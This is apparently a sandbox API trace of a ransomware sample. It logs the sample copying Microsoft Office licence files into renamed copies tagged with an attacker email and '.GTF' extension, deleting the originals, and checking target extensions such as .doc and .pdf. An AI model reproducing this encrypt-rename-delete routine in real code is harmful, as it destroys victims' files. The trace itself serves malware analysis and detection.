	[0179.210] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0179.210] lstrlenW (lpString=".dbf") returned 4
	[0179.210] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0179.210] lstrlenW (lpString=".1cd") returned 4
	[0179.210] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0179.210] lstrlenW (lpString=".jpg") returned 4
	[0179.210] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.211] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.211] lstrlenW (lpString="O365HomePremR_Subscription3-ppd.xrm-ms") returned 38
	[0179.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.211] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=26541) returned 1
	[0179.211] CloseHandle (hObject=0x378) returned 1
	[0179.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 0x220
	[0179.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.212] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.212] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0179.213] GetLastError () returned 0x0
	[0179.213] ReadFile (in: hFile=0x378, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0179.263] WriteFile (in: hFile=0x45c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0179.264] ReadFile (in: hFile=0x378, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.264] WriteFile (in: hFile=0x45c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x120, lpOverlapped=0x0) returned 1
	[0179.265] SetEndOfFile (hFile=0x45c) returned 1
	[0179.265] CloseHandle (hObject=0x45c) returned 1
	[0179.265] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.265] SetEndOfFile (hFile=0x378) returned 1
	[0179.268] CloseHandle (hObject=0x378) returned 1
	[0179.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 1
	[0179.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0179.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0179.269] lstrlenW (lpString=".doc") returned 4
	[0179.269] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.269] lstrlenW (lpString=".docx") returned 5
	[0179.269] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.269] lstrlenW (lpString=".pdf") returned 4
	[0179.269] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.269] lstrlenW (lpString=".xls") returned 4
	[0179.269] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.269] lstrlenW (lpString=".xlsx") returned 5
	[0179.269] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.269] lstrlenW (lpString=".ppt") returned 4
	[0179.269] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0179.269] lstrlenW (lpString=".zip") returned 4
	[0179.269] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.269] lstrlenW (lpString=".rar") returned 4
	[0179.269] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.269] lstrlenW (lpString=".bz2") returned 4
	[0179.269] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.269] lstrlenW (lpString=".7z") returned 3
	[0179.269] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0179.269] lstrlenW (lpString=".dbf") returned 4
	[0179.269] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0179.270] lstrlenW (lpString=".1cd") returned 4
	[0179.270] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0179.270] lstrlenW (lpString=".jpg") returned 4
	[0179.270] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0179.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0179.270] lstrlenW (lpString=".doc") returned 4
	[0179.270] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.270] lstrlenW (lpString=".docx") returned 5
	[0179.270] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.270] lstrlenW (lpString=".pdf") returned 4
	[0179.270] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.270] lstrlenW (lpString=".xls") returned 4
	[0179.270] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.270] lstrlenW (lpString=".xlsx") returned 5
	[0179.270] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.270] lstrlenW (lpString=".ppt") returned 4
	[0179.270] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0179.270] lstrlenW (lpString=".zip") returned 4
	[0179.270] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.270] lstrlenW (lpString=".rar") returned 4
	[0179.270] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.270] lstrlenW (lpString=".bz2") returned 4
	[0179.270] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.270] lstrlenW (lpString=".7z") returned 3
	[0179.270] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0179.270] lstrlenW (lpString=".dbf") returned 4
	[0179.270] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0179.270] lstrlenW (lpString=".1cd") returned 4
	[0179.270] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0179.271] lstrlenW (lpString=".jpg") returned 4
	[0179.271] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.271] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.271] lstrlenW (lpString="O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 41
	[0179.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.271] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11651) returned 1
	[0179.271] CloseHandle (hObject=0x378) returned 1
	[0179.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 0x220
	[0179.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.272] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.272] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0179.273] GetLastError () returned 0x0
	[0179.273] ReadFile (in: hFile=0x378, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0179.295] WriteFile (in: hFile=0x45c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0179.297] ReadFile (in: hFile=0x378, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.297] WriteFile (in: hFile=0x45c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x126, lpOverlapped=0x0) returned 1
	[0179.297] SetEndOfFile (hFile=0x45c) returned 1
	[0179.323] CloseHandle (hObject=0x45c) returned 1
	[0179.338] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.338] SetEndOfFile (hFile=0x378) returned 1
	[0179.387] CloseHandle (hObject=0x378) returned 1
	[0179.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 1
	[0179.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0179.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0179.388] lstrlenW (lpString=".doc") returned 4
	[0179.388] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.388] lstrlenW (lpString=".docx") returned 5
	[0179.389] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.389] lstrlenW (lpString=".pdf") returned 4
	[0179.389] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.389] lstrlenW (lpString=".xls") returned 4
	[0179.389] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.389] lstrlenW (lpString=".xlsx") returned 5
	[0179.389] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.389] lstrlenW (lpString=".ppt") returned 4
	[0179.389] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0179.389] lstrlenW (lpString=".zip") returned 4
	[0179.389] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.389] lstrlenW (lpString=".rar") returned 4
	[0179.389] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.389] lstrlenW (lpString=".bz2") returned 4
	[0179.389] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.389] lstrlenW (lpString=".7z") returned 3
	[0179.389] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0179.389] lstrlenW (lpString=".dbf") returned 4
	[0179.389] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0179.389] lstrlenW (lpString=".1cd") returned 4
	[0179.389] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0179.389] lstrlenW (lpString=".jpg") returned 4
	[0179.389] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0179.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0179.389] lstrlenW (lpString=".doc") returned 4
	[0179.389] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.389] lstrlenW (lpString=".docx") returned 5
	[0179.389] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.389] lstrlenW (lpString=".pdf") returned 4
	[0179.389] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.389] lstrlenW (lpString=".xls") returned 4
	[0179.390] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.390] lstrlenW (lpString=".xlsx") returned 5
	[0179.390] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.390] lstrlenW (lpString=".ppt") returned 4
	[0179.390] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0179.390] lstrlenW (lpString=".zip") returned 4
	[0179.390] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.390] lstrlenW (lpString=".rar") returned 4
	[0179.390] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.390] lstrlenW (lpString=".bz2") returned 4
	[0179.390] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.390] lstrlenW (lpString=".7z") returned 3
	[0179.390] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0179.390] lstrlenW (lpString=".dbf") returned 4
	[0179.390] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0179.390] lstrlenW (lpString=".1cd") returned 4
	[0179.390] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0179.390] lstrlenW (lpString=".jpg") returned 4
	[0179.390] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.390] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.390] lstrlenW (lpString="O365HomePremR_SubTest1-ppd.xrm-ms") returned 33
	[0179.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.391] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=23134) returned 1
	[0179.391] CloseHandle (hObject=0x378) returned 1
	[0179.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 0x220
	[0179.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.391] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.392] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0179.392] GetLastError () returned 0x0
	[0179.392] ReadFile (in: hFile=0x378, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0179.473] WriteFile (in: hFile=0x508, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0179.475] ReadFile (in: hFile=0x378, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.475] WriteFile (in: hFile=0x508, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x116, lpOverlapped=0x0) returned 1
	[0179.475] SetEndOfFile (hFile=0x508) returned 1
	[0179.475] CloseHandle (hObject=0x508) returned 1
	[0179.475] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.475] SetEndOfFile (hFile=0x378) returned 1
	[0179.489] CloseHandle (hObject=0x378) returned 1
	[0179.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 1
	[0179.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0179.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0179.490] lstrlenW (lpString=".doc") returned 4
	[0179.490] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.490] lstrlenW (lpString=".docx") returned 5
	[0179.490] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.490] lstrlenW (lpString=".pdf") returned 4
	[0179.490] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.490] lstrlenW (lpString=".xls") returned 4
	[0179.490] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.490] lstrlenW (lpString=".xlsx") returned 5
	[0179.491] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.491] lstrlenW (lpString=".ppt") returned 4
	[0179.491] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0179.491] lstrlenW (lpString=".zip") returned 4
	[0179.491] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.491] lstrlenW (lpString=".rar") returned 4
	[0179.491] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.491] lstrlenW (lpString=".bz2") returned 4
	[0179.491] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.491] lstrlenW (lpString=".7z") returned 3
	[0179.491] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0179.491] lstrlenW (lpString=".dbf") returned 4
	[0179.491] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0179.491] lstrlenW (lpString=".1cd") returned 4
	[0179.491] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0179.491] lstrlenW (lpString=".jpg") returned 4
	[0179.491] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
